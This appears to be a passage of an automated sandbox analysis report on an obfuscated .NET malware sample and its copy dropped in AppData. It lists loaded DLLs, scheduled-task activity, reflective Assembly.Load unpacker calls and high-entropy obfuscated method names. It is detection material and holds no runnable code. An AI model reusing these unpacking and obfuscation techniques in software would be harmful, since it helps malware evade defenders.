Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: I5pvP0CU6M.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: I5pvP0CU6M.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.I5pvP0CU6M.exe.3d25ad0.1.raw.unpack, XlF5VlCIHRSQX8M5eh.cs	.Net Code: _200C_200C_202D_206C_200B_206A_206D_200B_200D_200C_202D_206A_206D_202A_206A_206B_202B_206C_202D_200B_202E_202B_202A_206C_206A_206D_202D_206B_206D_206B_200D_202B_202D_206C_206F_206C_200B_202B_206A_206D_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, xJpQPIrqp0EqOJe24h.cs	.Net Code: klkHZpY7O7 System.Reflection.Assembly.Load(byte[])
Source: 0.2.I5pvP0CU6M.exe.73d0000.5.raw.unpack, XlF5VlCIHRSQX8M5eh.cs	.Net Code: _200C_200C_202D_206C_200B_206A_206D_200B_200D_200C_202D_206A_206D_202A_206A_206B_202B_206C_202D_200B_202E_202B_202A_206C_206A_206D_202D_206B_206D_206B_200D_202B_202D_206C_206F_206C_200B_202B_206A_206D_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, xJpQPIrqp0EqOJe24h.cs	.Net Code: klkHZpY7O7 System.Reflection.Assembly.Load(byte[])
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, xJpQPIrqp0EqOJe24h.cs	.Net Code: klkHZpY7O7 System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D92DF push B00531A5h; iretd	0_2_058D92ED
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BCE5CF push es; ret	17_2_06BCE5E0
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BC1810 push es; ret	17_2_06BC1820

Source: I5pvP0CU6M.exe	Static PE information: section name: .text entropy: 7.711719915976035
Source: VcihjWRO.exe.0.dr	Static PE information: section name: .text entropy: 7.711719915976035

Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, VwQhcbvgaBqPqLYxwV.cs	High entropy of concatenated method names: 'p1eka595e5', 'FYckc1tBRR', 'Rokk6ZBYAd', 'YVo6KhCr1e', 'tXs6zPFhUy', 'eR9kPxrbmH', 'BC8kXl5nrX', 'bwOkDrTPfe', 'Dvbk70XZQx', 'pNgkH5nkF2'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, CZu7K8Dkcj1USqkK9x.cs	High entropy of concatenated method names: 'isiZpkcuL', 'iLpjhHKFF', 'MPinlaT63', 'TwK04TMt2', 'SAKAqsNDS', 'nmF4dpGnI', 'kLhiIFJRn4kKcc2xUY', 'Jp1MWLxOvFk6HYaUuq', 'BJyqrNInG', 'mBT94KvFK'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, w9m7i9uGNFMZ1XfNtL.cs	High entropy of concatenated method names: 'NKAhQUG6FH', 'QcthAMELp0', 'QjFh24Dvi0', 'lnlhfcyknX', 'A3BhlMdLiZ', 'EiQhFcUCJo', 'XUGhvVdBxM', 'oAMhWMoKty', 'jgfhRmTltr', 'ybghGFjmJe'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, xJpQPIrqp0EqOJe24h.cs	High entropy of concatenated method names: 'j2E7tDgvY1', 'mJ77aL46yD', 'u7j7S7CbD2', 'mHQ7cbompf', 'PtP7YckZQI', 'ubH76r2Ped', 'NoY7kgcL2Y', 'Ny77rMNpOr', 'aG371lXYus', 'FRr7JMKyMv'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, kKxwEIStxq1vPp0mrw.cs	High entropy of concatenated method names: 'Dispose', 'tn9XyElHc0', 'RkkDf5GE1i', 'UwnFF1hWV5', 'f76XKb9lgN', 'n6yXzZHsc4', 'ProcessDialogKey', 'iI8DPuKFvc', 'elNDXej6Xm', 'ClmDD0FgIn'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, muDhSpXPkaWtGtdX5MC.cs	High entropy of concatenated method names: 'NdULMPeH0Y', 'Er1LiV6pgl', 'akbLZWTdAf', 'scyLjbWQ9F', 'AdFL8Rhtye', 'SMSLn1ucys', 'FOZL0kqmFG', 'btoLQLoQs6', 'ik3LACLGXp', 'uMRL46MA7Z'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, lVrsRvAAKIBmDAjCj7.cs	High entropy of concatenated method names: 'jBvcjYO8VR', 'rEAcnScBhA', 'eACcQcGfkR', 'HlacAvRRnl', 'h9EcBcac7m', 'O0mcU1akTa', 'FZmcdUuVY7', 'vDIcqHMkEn', 'Oj8cLvmamR', 'W1Nc9rSx5R'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, pf0sQA4KGX4Cb5UbBX.cs	High entropy of concatenated method names: 'tWhY8fQrv6', 'zFqY0AwLyE', 'Pg9cgQlmID', 'AsNclCvabg', 'hQ4cFjGJxv', 'PxacTvlCc0', 'wGmcvEIe0r', 'nmwcW21pCl', 'v3scbTi1FJ', 'Qj4cRGPf9G'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, x9bdvNQOCuV2nB7v8T.cs	High entropy of concatenated method names: 'c1QSseQU40', 'qQtSmOmatD', 'pCTSO0Fni1', 'AgTSofdFm4', 'IeZSeDEBlE', 'IVOSpDvdE7', 'TU0SwpI3oe', 'GdnSI9xrJh', 'FV9SyoQoNg', 'N2ISKoCkqs'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, y6mgajH58xCCMCJyEw.cs	High entropy of concatenated method names: 'KhMXk9bdvN', 'SCuXrV2nB7', 'LAKXJIBmDA', 'ACjXC7Uf0s', 'PUbXBBX5BZ', 'R39XUMPlhw', 'eSjB116h68PxKOrSA4', 'ycX1OSCpph8rKawuMx', 'Q9gXXKKQHC', 'bRmX7rC12p'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, uTPyuxOpGucxINp0Hi.cs	High entropy of concatenated method names: 'ToString', 'ADjUGc8EuV', 'IWqUfYP5Af', 'LfRUgujaiq', 'Tb8UlPSCml', 'oHLUFVrjTe', 'FTCUTcPn7S', 'DJwUvnK0Vu', 'Pe9UWAwdoe', 'yLHUb5fg4T'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, CFgInTKNUgQwY9apQO.cs	High entropy of concatenated method names: 'u44LXmX69v', 'S0ML7xOTOo', 'gWxLHRW8AL', 'UXkLa84mZi', 'E4XLSInem5', 'wyoLYGcotA', 'rpJL6qIXD1', 'cGrqwKGImr', 'zkcqIHScvA', 'LZ9qy6HPZo'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, nhs725X77qqlp1KEoKf.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'IZc9sQ60VR', 'ECM9mG9MCi', 'nsA9ONNXEY', 'Xf69oYLlIE', 'gIn9eEOXDb', 'FOD9pXDAB2', 'yYr9w0tDKy'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, c6b9lgINh6yZHsc46I.cs	High entropy of concatenated method names: 'T9oqaJ6PHo', 'SSKqSXXnh9', 'u0gqcArwvd', 'CgKqYJXWl7', 'iDMq6kZ6E5', 'B5LqkOIueJ', 'cJpqrJLnmk', 'l6pq16hSJW', 'uBRqJgEtFS', 'ciaqCmUqQp'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, XgebogbwOsR0gfglTQ.cs	High entropy of concatenated method names: 'nXckMHmDJ1', 'yq6ki3Z6Px', 'kNEkZwdf9j', 'l8mkjCSxmW', 'MxOk83Vo6h', 'XOsknQlf96', 'iD7k0urPU0', 'W4ckQULa0o', 'nCbkAM3Qew', 'nrkk4rcXV8'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, e76RDfs2gMTWkMESU9.cs	High entropy of concatenated method names: 'cYvBRe4ITx', 'WyDB5XwVY2', 'oe5BsOmxPH', 'BWiBmOPU69', 'HuiBfHi5jM', 'ukZBgRkE4k', 'DyUBli1OxA', 'bo8BFdaH6K', 'qt8BT7oNHM', 'jA0BvRRd00'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, BuKFvcytlNej6Xmnlm.cs	High entropy of concatenated method names: 'M1jq2uwCFU', 'Tn5qfYjhZj', 'Xn1qghuX1p', 'ymCqlLwbJU', 'y5LqsNy8sn', 'aj5qFtliUi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, PBZm392MPlhwZB1smS.cs	High entropy of concatenated method names: 'ERb6tC2RPO', 'kQa6S3jlpu', 'CAx6Y5Rqt5', 'FL46kMHMM2', 'Ewq6rYIClm', 'NJbYeQhPIb', 'rL0YpqvCZh', 'tUhYwJT6Mg', 'RvJYIbuxdV', 'G3NYy3NiIo'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, KMEUyHpk0r1NX0mCU0.cs	High entropy of concatenated method names: 'QBfdIGkJum', 'Is5dKjXoRh', 'lLjqPwkq3k', 'S1gqXhnKoa', 'MjAdGJYt0G', 'HI9d5bCQ3Z', 'OHMduo6TD3', 'BOBdsiYdBw', 'asvdm8bkBo', 'ItYdO0O1sq'
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, YLZhRozVOXHF08W4EV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'B3WLhl1Nqk', 'A7gLBDYqvp', 'w3aLUmAfcP', 'PSULdqE2Zl', 'bDrLqNfXur', 'zV6LLjSiBe', 'yaUL91hUno'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, VwQhcbvgaBqPqLYxwV.cs	High entropy of concatenated method names: 'p1eka595e5', 'FYckc1tBRR', 'Rokk6ZBYAd', 'YVo6KhCr1e', 'tXs6zPFhUy', 'eR9kPxrbmH', 'BC8kXl5nrX', 'bwOkDrTPfe', 'Dvbk70XZQx', 'pNgkH5nkF2'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, CZu7K8Dkcj1USqkK9x.cs	High entropy of concatenated method names: 'isiZpkcuL', 'iLpjhHKFF', 'MPinlaT63', 'TwK04TMt2', 'SAKAqsNDS', 'nmF4dpGnI', 'kLhiIFJRn4kKcc2xUY', 'Jp1MWLxOvFk6HYaUuq', 'BJyqrNInG', 'mBT94KvFK'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, w9m7i9uGNFMZ1XfNtL.cs	High entropy of concatenated method names: 'NKAhQUG6FH', 'QcthAMELp0', 'QjFh24Dvi0', 'lnlhfcyknX', 'A3BhlMdLiZ', 'EiQhFcUCJo', 'XUGhvVdBxM', 'oAMhWMoKty', 'jgfhRmTltr', 'ybghGFjmJe'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, xJpQPIrqp0EqOJe24h.cs	High entropy of concatenated method names: 'j2E7tDgvY1', 'mJ77aL46yD', 'u7j7S7CbD2', 'mHQ7cbompf', 'PtP7YckZQI', 'ubH76r2Ped', 'NoY7kgcL2Y', 'Ny77rMNpOr', 'aG371lXYus', 'FRr7JMKyMv'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, kKxwEIStxq1vPp0mrw.cs	High entropy of concatenated method names: 'Dispose', 'tn9XyElHc0', 'RkkDf5GE1i', 'UwnFF1hWV5', 'f76XKb9lgN', 'n6yXzZHsc4', 'ProcessDialogKey', 'iI8DPuKFvc', 'elNDXej6Xm', 'ClmDD0FgIn'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, muDhSpXPkaWtGtdX5MC.cs	High entropy of concatenated method names: 'NdULMPeH0Y', 'Er1LiV6pgl', 'akbLZWTdAf', 'scyLjbWQ9F', 'AdFL8Rhtye', 'SMSLn1ucys', 'FOZL0kqmFG', 'btoLQLoQs6', 'ik3LACLGXp', 'uMRL46MA7Z'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, lVrsRvAAKIBmDAjCj7.cs	High entropy of concatenated method names: 'jBvcjYO8VR', 'rEAcnScBhA', 'eACcQcGfkR', 'HlacAvRRnl', 'h9EcBcac7m', 'O0mcU1akTa', 'FZmcdUuVY7', 'vDIcqHMkEn', 'Oj8cLvmamR', 'W1Nc9rSx5R'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, pf0sQA4KGX4Cb5UbBX.cs	High entropy of concatenated method names: 'tWhY8fQrv6', 'zFqY0AwLyE', 'Pg9cgQlmID', 'AsNclCvabg', 'hQ4cFjGJxv', 'PxacTvlCc0', 'wGmcvEIe0r', 'nmwcW21pCl', 'v3scbTi1FJ', 'Qj4cRGPf9G'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, x9bdvNQOCuV2nB7v8T.cs	High entropy of concatenated method names: 'c1QSseQU40', 'qQtSmOmatD', 'pCTSO0Fni1', 'AgTSofdFm4', 'IeZSeDEBlE', 'IVOSpDvdE7', 'TU0SwpI3oe', 'GdnSI9xrJh', 'FV9SyoQoNg', 'N2ISKoCkqs'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, y6mgajH58xCCMCJyEw.cs	High entropy of concatenated method names: 'KhMXk9bdvN', 'SCuXrV2nB7', 'LAKXJIBmDA', 'ACjXC7Uf0s', 'PUbXBBX5BZ', 'R39XUMPlhw', 'eSjB116h68PxKOrSA4', 'ycX1OSCpph8rKawuMx', 'Q9gXXKKQHC', 'bRmX7rC12p'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, uTPyuxOpGucxINp0Hi.cs	High entropy of concatenated method names: 'ToString', 'ADjUGc8EuV', 'IWqUfYP5Af', 'LfRUgujaiq', 'Tb8UlPSCml', 'oHLUFVrjTe', 'FTCUTcPn7S', 'DJwUvnK0Vu', 'Pe9UWAwdoe', 'yLHUb5fg4T'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, CFgInTKNUgQwY9apQO.cs	High entropy of concatenated method names: 'u44LXmX69v', 'S0ML7xOTOo', 'gWxLHRW8AL', 'UXkLa84mZi', 'E4XLSInem5', 'wyoLYGcotA', 'rpJL6qIXD1', 'cGrqwKGImr', 'zkcqIHScvA', 'LZ9qy6HPZo'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, nhs725X77qqlp1KEoKf.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'IZc9sQ60VR', 'ECM9mG9MCi', 'nsA9ONNXEY', 'Xf69oYLlIE', 'gIn9eEOXDb', 'FOD9pXDAB2', 'yYr9w0tDKy'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, c6b9lgINh6yZHsc46I.cs	High entropy of concatenated method names: 'T9oqaJ6PHo', 'SSKqSXXnh9', 'u0gqcArwvd', 'CgKqYJXWl7', 'iDMq6kZ6E5', 'B5LqkOIueJ', 'cJpqrJLnmk', 'l6pq16hSJW', 'uBRqJgEtFS', 'ciaqCmUqQp'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, XgebogbwOsR0gfglTQ.cs	High entropy of concatenated method names: 'nXckMHmDJ1', 'yq6ki3Z6Px', 'kNEkZwdf9j', 'l8mkjCSxmW', 'MxOk83Vo6h', 'XOsknQlf96', 'iD7k0urPU0', 'W4ckQULa0o', 'nCbkAM3Qew', 'nrkk4rcXV8'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, e76RDfs2gMTWkMESU9.cs	High entropy of concatenated method names: 'cYvBRe4ITx', 'WyDB5XwVY2', 'oe5BsOmxPH', 'BWiBmOPU69', 'HuiBfHi5jM', 'ukZBgRkE4k', 'DyUBli1OxA', 'bo8BFdaH6K', 'qt8BT7oNHM', 'jA0BvRRd00'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, BuKFvcytlNej6Xmnlm.cs	High entropy of concatenated method names: 'M1jq2uwCFU', 'Tn5qfYjhZj', 'Xn1qghuX1p', 'ymCqlLwbJU', 'y5LqsNy8sn', 'aj5qFtliUi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, PBZm392MPlhwZB1smS.cs	High entropy of concatenated method names: 'ERb6tC2RPO', 'kQa6S3jlpu', 'CAx6Y5Rqt5', 'FL46kMHMM2', 'Ewq6rYIClm', 'NJbYeQhPIb', 'rL0YpqvCZh', 'tUhYwJT6Mg', 'RvJYIbuxdV', 'G3NYy3NiIo'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, KMEUyHpk0r1NX0mCU0.cs	High entropy of concatenated method names: 'QBfdIGkJum', 'Is5dKjXoRh', 'lLjqPwkq3k', 'S1gqXhnKoa', 'MjAdGJYt0G', 'HI9d5bCQ3Z', 'OHMduo6TD3', 'BOBdsiYdBw', 'asvdm8bkBo', 'ItYdO0O1sq'
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, YLZhRozVOXHF08W4EV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'B3WLhl1Nqk', 'A7gLBDYqvp', 'w3aLUmAfcP', 'PSULdqE2Zl', 'bDrLqNfXur', 'zV6LLjSiBe', 'yaUL91hUno'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, VwQhcbvgaBqPqLYxwV.cs	High entropy of concatenated method names: 'p1eka595e5', 'FYckc1tBRR', 'Rokk6ZBYAd', 'YVo6KhCr1e', 'tXs6zPFhUy', 'eR9kPxrbmH', 'BC8kXl5nrX', 'bwOkDrTPfe', 'Dvbk70XZQx', 'pNgkH5nkF2'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, CZu7K8Dkcj1USqkK9x.cs	High entropy of concatenated method names: 'isiZpkcuL', 'iLpjhHKFF', 'MPinlaT63', 'TwK04TMt2', 'SAKAqsNDS', 'nmF4dpGnI', 'kLhiIFJRn4kKcc2xUY', 'Jp1MWLxOvFk6HYaUuq', 'BJyqrNInG', 'mBT94KvFK'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, w9m7i9uGNFMZ1XfNtL.cs	High entropy of concatenated method names: 'NKAhQUG6FH', 'QcthAMELp0', 'QjFh24Dvi0', 'lnlhfcyknX', 'A3BhlMdLiZ', 'EiQhFcUCJo', 'XUGhvVdBxM', 'oAMhWMoKty', 'jgfhRmTltr', 'ybghGFjmJe'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, xJpQPIrqp0EqOJe24h.cs	High entropy of concatenated method names: 'j2E7tDgvY1', 'mJ77aL46yD', 'u7j7S7CbD2', 'mHQ7cbompf', 'PtP7YckZQI', 'ubH76r2Ped', 'NoY7kgcL2Y', 'Ny77rMNpOr', 'aG371lXYus', 'FRr7JMKyMv'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, kKxwEIStxq1vPp0mrw.cs	High entropy of concatenated method names: 'Dispose', 'tn9XyElHc0', 'RkkDf5GE1i', 'UwnFF1hWV5', 'f76XKb9lgN', 'n6yXzZHsc4', 'ProcessDialogKey', 'iI8DPuKFvc', 'elNDXej6Xm', 'ClmDD0FgIn'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, muDhSpXPkaWtGtdX5MC.cs	High entropy of concatenated method names: 'NdULMPeH0Y', 'Er1LiV6pgl', 'akbLZWTdAf', 'scyLjbWQ9F', 'AdFL8Rhtye', 'SMSLn1ucys', 'FOZL0kqmFG', 'btoLQLoQs6', 'ik3LACLGXp', 'uMRL46MA7Z'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, lVrsRvAAKIBmDAjCj7.cs	High entropy of concatenated method names: 'jBvcjYO8VR', 'rEAcnScBhA', 'eACcQcGfkR', 'HlacAvRRnl', 'h9EcBcac7m', 'O0mcU1akTa', 'FZmcdUuVY7', 'vDIcqHMkEn', 'Oj8cLvmamR', 'W1Nc9rSx5R'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, pf0sQA4KGX4Cb5UbBX.cs	High entropy of concatenated method names: 'tWhY8fQrv6', 'zFqY0AwLyE', 'Pg9cgQlmID', 'AsNclCvabg', 'hQ4cFjGJxv', 'PxacTvlCc0', 'wGmcvEIe0r', 'nmwcW21pCl', 'v3scbTi1FJ', 'Qj4cRGPf9G'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, x9bdvNQOCuV2nB7v8T.cs	High entropy of concatenated method names: 'c1QSseQU40', 'qQtSmOmatD', 'pCTSO0Fni1', 'AgTSofdFm4', 'IeZSeDEBlE', 'IVOSpDvdE7', 'TU0SwpI3oe', 'GdnSI9xrJh', 'FV9SyoQoNg', 'N2ISKoCkqs'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, y6mgajH58xCCMCJyEw.cs	High entropy of concatenated method names: 'KhMXk9bdvN', 'SCuXrV2nB7', 'LAKXJIBmDA', 'ACjXC7Uf0s', 'PUbXBBX5BZ', 'R39XUMPlhw', 'eSjB116h68PxKOrSA4', 'ycX1OSCpph8rKawuMx', 'Q9gXXKKQHC', 'bRmX7rC12p'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, uTPyuxOpGucxINp0Hi.cs	High entropy of concatenated method names: 'ToString', 'ADjUGc8EuV', 'IWqUfYP5Af', 'LfRUgujaiq', 'Tb8UlPSCml', 'oHLUFVrjTe', 'FTCUTcPn7S', 'DJwUvnK0Vu', 'Pe9UWAwdoe', 'yLHUb5fg4T'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, CFgInTKNUgQwY9apQO.cs	High entropy of concatenated method names: 'u44LXmX69v', 'S0ML7xOTOo', 'gWxLHRW8AL', 'UXkLa84mZi', 'E4XLSInem5', 'wyoLYGcotA', 'rpJL6qIXD1', 'cGrqwKGImr', 'zkcqIHScvA', 'LZ9qy6HPZo'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, nhs725X77qqlp1KEoKf.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'IZc9sQ60VR', 'ECM9mG9MCi', 'nsA9ONNXEY', 'Xf69oYLlIE', 'gIn9eEOXDb', 'FOD9pXDAB2', 'yYr9w0tDKy'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, c6b9lgINh6yZHsc46I.cs	High entropy of concatenated method names: 'T9oqaJ6PHo', 'SSKqSXXnh9', 'u0gqcArwvd', 'CgKqYJXWl7', 'iDMq6kZ6E5', 'B5LqkOIueJ', 'cJpqrJLnmk', 'l6pq16hSJW', 'uBRqJgEtFS', 'ciaqCmUqQp'
